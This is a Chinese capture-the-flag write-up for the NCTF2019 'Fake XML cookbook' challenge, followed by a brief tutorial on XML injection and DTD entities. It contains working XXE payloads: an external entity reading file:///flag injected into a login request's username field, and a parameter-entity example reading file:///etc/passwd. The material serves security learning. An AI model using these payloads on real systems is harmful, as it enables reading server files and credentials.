[NCTF2019]Fake XML cookbook

image-20240509220351314

随便登录抓包之后看到这个

想着应该是改这个,但是怎么改?

image-20240509220333814

这里就要使用到xml

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>

拿到flag

解读一下,就是在这里定义file为后面的字符串且会被当做变量执行

所以这里的$file等于flag

下面介绍一下xml注入:

XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

XML注入前提条件

(1)用户能够控制数据的输入
(2)程序有拼凑的数据

XML基本格式与基本语法
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

简单介绍一下DTD实体

按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体

<!ENTITY 实体名称 "实体的值">

内部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体
外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

参数实体+外部实体示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的。